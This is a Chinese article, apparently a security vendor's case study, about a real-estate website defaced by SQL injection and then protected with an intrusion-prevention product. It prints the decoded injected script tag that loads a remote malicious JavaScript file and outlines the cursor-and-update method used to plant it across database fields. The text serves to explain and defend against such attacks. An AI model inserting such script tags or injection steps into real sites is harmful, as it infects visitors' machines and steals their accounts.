网站SQL注入防御实战
SQL注入作为直接威胁web业务的最严重攻击行为,已经被大多数的网站管理员所了解,这种通过HTTP标准端口,利用网页编码不严谨,提交精心构造的代码实现对数据库非授权访问的攻击方法,已经被越来越多的scriptguy(脚本小子)成功掌握并广泛实践。没错,他们可能并不知道SQL注入的原理,不知道ASP,不知道PHP,但他们有工具,全自动的,完善的,高效率的工具,这些工具使得任何一个有简单网络知识的中学学生可以很容易的拿到某个政府网站的最高管理员权限,而且做这些事情并不会比你在周六的中午下楼去买一听可乐要更困难。
而随着互联网黑色产业链的浮出水面,骇客们发现攻击网站不仅仅可以用作向朋友炫耀的资本,还可以作为购买游戏点卡或者是数码相机的资金来源:在被攻击的网站嵌入脚本木马,可以轻易盗窃那些访问了受攻击网站,但个人PC安全防护措施不全面用户的私密信息,比如游戏账号密码,或者是银行账号密码。
经常使用google的用户一定对这段话不陌生“该网站可能含有恶意软件,有可能会危害您的电脑”,这意味着这个网站也许已经遭遇挂马黑手,成为骇客们的众多取款点之一。本文就一例真实案例,来介绍一下网站的安全防护。
某市房地产网站的管理员小李刚上班就被叫到领导办公室去了,因为网站带上了google小尾巴:“该网站可能含有恶意软件,有可能会危害您的电脑”,购房者看到这一提示信息,纷纷给该市房产管理局打电话,于是就有了上面的一幕。回到座位上的小李一筹莫展:网站服务器已经全盘杀毒好几次了,没有发现病毒存在的痕迹,看来只能找专业安全厂商解决了。小李选择的是网络安全公司启明星辰,在向启明星辰公司提交web日志的第二天,小李就收到了回信,从日志的分析结果中,可以清楚的看到骇客的攻击走向:这是一次非常典型的SQL注入攻击,首先使用dEcLaRe建立游标,遍历数据库中所有允许写入字符串的相关字段,并通过执行exec操作,使用update语句替换了网站页面的正常文件,插入了如下一段十六进制字符:
经过解密,可以得到如下字符串
"> < /title> < script src= http://s.see9.us/s.js> < /script> < !—
这里面的http://s.see9.us/s.js就是导致网站带有小尾巴的罪魁祸首。
经过一天的奋力工作,网页中所有的小尾巴都清理干净了,在启明星辰安全工程师的建议下,小李还向StopBadware.org 申请了重新的索引,并向google提交了审核申请。做完了这些之后,小李又一次陷入了困扰:如何防范网站再次遭受SQL注入攻击呢?网络上提供了一些代码修改级的防御方法,可是需要对每一个页面都做仔细的检查,看着自己所负责网站的10000余个页面,小李只能是苦笑,联想起2007年夏天那次微软英国网站被SQL注入的案例,小李在内心否认了彻底检查一遍页面代码的做法。关键时刻,又是启明星辰的安全工程师提出了建议:部署天清入侵防御产品,利用天清IPS的基于注入攻击手法的检测原理,可以对各种SQL注入攻击的变种进行防御。和传统的SQL注入防御方法不一样的是,天清入侵防御产品可以独立部署,不需要对被保护的web系统做任何修改,而且和那些基于特征的检测方法不一样的是,天清IPS采用的VSID算法关注的是攻击手法而非攻击代码,其检测准确率有很大改善。
在部署了入侵防御产品的当天晚上,小李就在入侵防御产品的控制中心看到了发现了SQL注入攻击并被阻断的报警信息,而网站安然无恙。
友情提示:对于防御SQL注入攻击,检查网页代码是必要的,骇客获得网站权限,并不仅仅为了炫耀,可能还会有更肮脏的目的;其次,你需要做的事是挽回名誉损失,毕竟挂上google小尾巴不是件光荣的事;最后,你绝对不能忘记的事还有修补漏洞,在没有“打扫”干净你的系统前,骇客进出你的网络将会像喝下午茶一样简单,你可以选择修改源代码来过滤关键字(记住不要矫枉过正,笔者就见过不允许用户名叫select/and等SQL关键字的网站),或者是你也可以选择使用专业的IPS产品。
网站SQL注入防御实战的更多相关文章
- 电子商务网站SQL注入项目实战一例(转载)
故事A段:发现整站SQL对外输出: 有个朋友的网站,由于是外包项目,深圳某公司开发的,某天我帮他检测了一下网站相关情况. 我查看了页面源代码,发现了个惊人的事情,竟然整站打印SQL到Html里,着实吓 ...
- Bypass 护卫神SQL注入防御(多姿势)
0x00 前言 护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能. 这边主要分享一下几种思路,Bypa ...
- Bypass 360主机卫士SQL注入防御(多姿势)
0x00 前言 在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影.从半年前的测试虚拟机里面,翻出了360主机卫士Apache版 ...
- 21. Bypass D盾_防火墙(旧版 and 新版)SQL注入防御(多姿势)
D盾旧版: 00前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况.D盾_IIS防火墙注入防 ...
- 15. Bypass 360主机卫士SQL注入防御(多姿势)
在服务器客户端领域,曾经出现过一款 360 主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影. 从半年前的测试虚拟机里面,翻出了 360 主机卫士 Apache 版的 ...
- Bypass ngx_lua_waf SQL注入防御(多姿势)
0x00 前言 ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+ ...
- Bypass X-WAF SQL注入防御(多姿势)
0x00 前言 X-WAF是一款适用中.小企业的云WAF系统,让中.小企业也可以非常方便地拥有自己的免费云WAF. 本文从代码出发,一步步理解WAF的工作原理,多姿势进行WAF Bypass. ...
- Bypass D盾_IIS防火墙SQL注入防御(多姿势)
0X01 前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况.D盾_IIS防火墙注入防御策略 ...
- 23. Bypass ngx_lua_waf SQL注入防御(多姿势)
0x00 前言 ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+(f ...
随机推荐
- 手动加载nacos自定义配置到全局变量中
由于springboot启动顺序:先加载上下文再加载bean 开始日常搬砖: 1.通过启动日志发现nacos在PropertySourceBootstrapConfiguration中加载上下文配置: ...
- Docker prefereces
https://docs.docker.com/docker-for-mac/#preferences-menu docker 的镜像命令需要抽时间了解
- Solution -「UOJ #87」mx 的仙人掌
\(\mathcal{Description}\) Link. 给出含 \(n\) 个结点 \(m\) 条边的仙人掌图.\(q\) 次询问,每次询问给出一个点集 \(S\),求 \(S\) 内 ...
- Solution -「UOJ #450」复读机
\(\mathcal{Description}\) Link. 求从 \(m\) 种颜色,每种颜色无限多的小球里选 \(n\) 个构成排列,使得每种颜色出现次数为 \(d\) 的倍数的排列方案 ...
- 关于IDA无法从symbol server下载pdb的问题
在ida目录下,symsrv.dll同目录下创建一个symsrv.yes文件. symsrv.yes将可下载: symsrv.no将失败: 没有相关文件将会弹出授权询问,选择yes和no将创建对应文件 ...
- 暑假撸系统3- petty热更新 mybatis自动填充时间字段!
经过了昨天纠结技术选型,和一大堆xml配置,终于把架子搭好了.因为最近一次做java项目也在好多年以前了(毕竟用了pytohn以后谁也不想再回来java了),java的生态发生了长足的进步,本来想从原 ...
- react 也就这么回事 01 —— React 元素的创建和渲染
React 是一个用于构建用户界面的 JavaScript 库 它包括两个库:react.js 和 react-dom.js react.js:React 的核心库,提供了 React.js 的核心功 ...
- kali安装python2、python3以及对应的pip
kali自带python2,python3python --version #查看python版本安装pipwget https://bootstrap.pypa.io/pip/2.7/get-pip ...
- AcWing 325. 计算机
传送门 题目大意: 一棵无根树,每条边有一个距离,求每个顶点到距离其最远的顶点的距离. 思路: 考虑树形DP+换根. 令D[x]x到以x为根的子树当中的最长距离,d[x]为次长距离,U[x]为x向上走 ...
- 用RecyclerView实现根据位置不同显示不同界面
在原来的基础上将LinearAdapter.java进行修改: 1 public class LinearAdapter extends RecyclerView.Adapter<Recycle ...